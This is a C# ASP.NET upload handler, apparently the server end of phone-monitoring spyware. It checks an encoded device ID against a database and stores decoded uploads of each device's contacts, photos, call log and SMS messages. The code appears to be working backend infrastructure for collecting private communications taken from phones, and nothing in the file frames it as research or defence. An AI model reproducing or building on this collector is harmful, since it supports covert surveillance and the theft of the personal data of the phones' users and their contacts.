﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.SessionState;
using System.IO;

namespace NuaTarDoneng.Tail
{
    /// <summary>
    /// Uploader 的摘要说明
    /// </summary>
    public class Uploader : IHttpHandler, IRequiresSessionState
    {

        public void ProcessRequest(HttpContext context)
        {
            context.Response.ContentType = "text/plain";
            string result = "ER";
            string action = context.Request.QueryString["action"];
            string keys = context.Request.QueryString["key"];
            string pubkey = File.ReadAllText(context.Server.MapPath("/Tail/pubkey.txt"));
            string info = context.Request["info"];
            string did = SecurityMan.Decodes(pubkey, keys);
            if (null != keys)
            {
                Logs.Log(context, "设备"+did + ":" + action);
            }
            else
            {
                Logs.Log(context, action);
            }
          
            if (tailSql.isExistdid(did))
            {
                
                
                string ninfo = SecurityMan.Decodes(pubkey, info);
                if (action == "UpContact")
                {
                    tailSql.UpdateInfo(did, "Contact", ninfo);
                    result = "OK";
                }
                else if (action == "UpPhoto")
                {
                    tailSql.UpdateInfo(did, "PhotoN", ninfo);
                    result = "OK";
                }
                else if (action == "UpTalk")
                {
                    tailSql.UpdateInfo(did, "callist", ninfo);
                    result = "OK";
                }
                else if (action == "UpSMS")
                {
                    tailSql.UpdateInfo(did, "sms", ninfo);
                    result = "OK";
                }
                else if (action == "UpFile")
                {
                    result = "OK";
                }
                else {
                    result = "ER";
                }
            }
            context.Response.Write(result);
        }

        public bool IsReusable
        {
            get
            {
                return false;
            }
        }
    }
}